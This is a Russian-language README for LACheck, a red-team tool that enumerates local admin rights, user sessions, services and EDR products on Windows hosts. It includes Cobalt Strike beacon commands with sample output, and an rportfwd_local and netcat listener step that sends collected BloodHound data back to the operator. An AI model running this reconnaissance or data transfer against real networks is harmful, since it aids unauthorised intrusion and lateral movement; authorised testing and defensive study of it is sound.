
Многопоточная сборка C# .NET для перечисления локальных административных привилегий на узлах Windows через SMB, WMI и WinRM с интеграцией BloodHound для разведки Active Directory.
Многопоточная сборка C# .NET для перечисления локальных административных привилегий
> ./LACheck.exe help
_ _____ _ _
| | /\ / ____| | | |
| | / \ | | | |__ ___ ___| | __
| | / /\ \ | | | '_ \ / _ \/ __| |/ /
| |____ / ____ \ | |____| | | | __/ (__| <
|______/_/ \_\ \_____|_| |_|\___|\___|_|\_\
Использование:
LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:"OU=Special Servers,DC=example,DC=local" /verbose /bloodhound /user:[email protected]
Проверки локального администратора:
smb - Попытка доступа к общей папке C$
rpc - Попытка WMI-запроса к провайдеру класса Win32_ComputerSystem через RPC
winrm - Попытка WMI-запроса к провайдеру класса Win32_ComputerSystem через сеанс WinRM
Аргументы:
/bloodhound - создание файла коллекции AdminTo и Session, совместимого с BloodHound
выходной файл заархивирован и зашифрован со случайным именем и паролем
/dc - указать контроллер домена для запроса (если не запущено на присоединённом к домену хосте)
/domain - указать имя домена (если не запущено на присоединённом к домену хосте)
/edr - проверить хост на наличие EDR (требуется smb, rpc или winrm)
/logons - вернуть вошедших пользователей на хосте (требуется smb, rpc или winrm)
/registry - перечислить сеансы из куста реестра (требуется smb)
/services - вернуть службы, работающие от имени пользователей (требуется smb, rpc или winrm)
/socket - отправить вывод BloodHound на TCP-сокет вместо записи на диск
пример: ""127.0.0.1:8080""
/targets - список имён хостов для проверки, разделённых запятыми
/threads - указать максимальное количество параллельных потоков (по умолчанию 25)
/user - указать имя пользователя, под которым выполнялась коллекция (полезно при манипуляции токенами)
/validate - проверить учётные данные в домене перед сканированием целей (полезно при манипуляции токенами)
/verbose - выводить дополнительную информацию журнала
/ou - указать LDAP OU для запроса включённых объектов компьютеров
пример: "OU=Special Servers,DC=example,DC=local"
/ldap - запросить хосты по следующим LDAP-фильтрам:
:all - Все включённые компьютеры с 'primary' группой 'Domain Computers'
:dc - Все включённые контроллеры домена (не read-only DC)
:exclude-dc - Все включённые компьютеры, не являющиеся контроллерами домена или read-only DC
:servers - Все включённые серверы
:servers-exclude-dc - Все включённые серверы, исключая контроллеры домена или read-only DC
execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/edr: False
/logons: True
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/targets:
/threads: 10
/user: svcadmin
/validate: False
/verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP-118GDCE as svcadmin
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com - Access denied.
[!] SMB on DEV02.contoso.com - Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10 as svcadmin
[!] SMB on 10.10.10.10 - Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 - The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.
Как показано в примере вывода выше, попытка проверить WinRM на хосте с IP-адресом 10.10.10.10 приведёт к ошибке, так как клиент WinRM не пытается аутентифицироваться на хосте по IP-адресу.
Используйте имена хостов при попытке проверки доступа по WinRM.
Флаги /targets, /ldap и /ou могут использоваться вместе или по отдельности для формирования списка хостов для перечисления.
Все хосты, возвращённые этими флагами, объединяются и дедуплицируются перед началом перечисления.
LACheck поддерживает запись собранных данных AdminTo и Session в JSON-вывод, который может быть загружен в BloodHound.
Этот вывод предназначен только для дополнения существующей коллекции BloodHound обновлёнными административными привилегиями для одного пользователя и сеансами, собранными с хостов, где были выявлены административные привилегии.
Параметр /bloodhound записывает на диск случайно названный зашифрованный zip-файл, который можно скачать, извлечь и загрузить в BloodHound.
BloodHound требует разрешения пользователей и компьютеров в SID. Из-за методов олицетворения, таких как make_token и kerberos_ticket_use из Cobalt Strike, LACheck может не иметь возможности точно определить контекст пользователя для коллекции. Аргумент /user необходим для предоставления LACheck имени участника-пользователя (формат = [email protected]) контекста, под которым он запущен, для точного сопоставления информации коллекции.
Вывод BloodHound может быть отправлен на TCP-сокет вместо записи на диск.
Если TCP-соединение не удаётся, вывод BloodHound будет записан на диск.
В биконе Cobalt Strike TCP-соединения могут быть перенаправлены с хоста обратно на локальную машину оператора с помощью rportfwd_local:
rportfwd_local 8888 127.0.0.1 8888
Оператор может затем перенаправить вывод TCP-потока в локальный файл с помощью netcat:
nc -lvnp 8888 > computers.json
- = не реализовано
Вдохновлено скриптом EDR.cna от harleyQu1nn
Метод Directory.GetFiles возвращает список драйверов из:
Драйверы сверяются со списком известных драйверов, используемых поставщиками EDR.
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
NetWkstaUserEnum возвращает список пользователей с интерактивными, служебными и пакетными входами
WTSEnumerateSessionsA возвращает список RDP-сеансов на хосте
WTSQuerySessionInformationA получает подробную информацию для каждого RDP-сеанса
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
Перебирает SID в кусте \\Computer\HKEY_USERS\, пытается получить доступ к Volatile Environment для каждого SID и извлекает значения из ключей USERDOMAIN и USERNAME.
Этот метод требует, чтобы служба Удалённого реестра была запущена на удалённом хосте. Если это не так:
AutomaticИз-за потенциально многошагового процесса перечисления каждого хоста этот метод может быть медленнее по сравнению с альтернативными методами. smb /logons быстрее
[registry] WEB01 - contoso\devadmin (svcadmin)
ServiceController.GetServices Method получает список служб на хосте
Каждая служба опрашивается для определения пользователя, от имени которого она настроена для запуска.
Из-за того, что каждую службу необходимо опрашивать индивидуально, этот метод может быть медленнее по сравнению с альтернативными методами. wmi /services быстрее
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
Вдохновлено скриптом EDR.cna от harleyQu1nn
Класс CIM_DataFile возвращает список драйверов из:
Драйверы сверяются со списком известных драйверов, используемых поставщиками EDR.
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
Класс Win32_LoggedOnUser возвращает список активных сеансов Класс Win32_LogonSession возвращает подробную информацию для каждого сеанса
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
Запрашивает класс Win32_UserProfile для получения SID профилей пользователей в системе.
Метод EnumKey класса StdRegProv получает куст \\Computer\HKEY_USERS\ и пытается получить доступ к Volatile Environment для каждого возвращённого SID, чтобы извлечь значения из ключей USERDOMAIN и USERNAME.
[registry] WEB01 - contoso\devadmin (svcadmin)
Запрашивает класс Win32_Service для получения имени, пользователя и состояния служб
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
Каждая проверка WMI также реализована с использованием ресурсов WMI и перечисления WMI через WinRM.
Это позволяет избежать использования пространств PowerShell runspaces.
| SMB | WMI | WinRM |
|---|
| /edr | быстро | быстро | быстро |
| /logons | быстро | быстро | быстро |
| /services | медленно | быстро | быстро |
| /registry | медленно | быстро | - |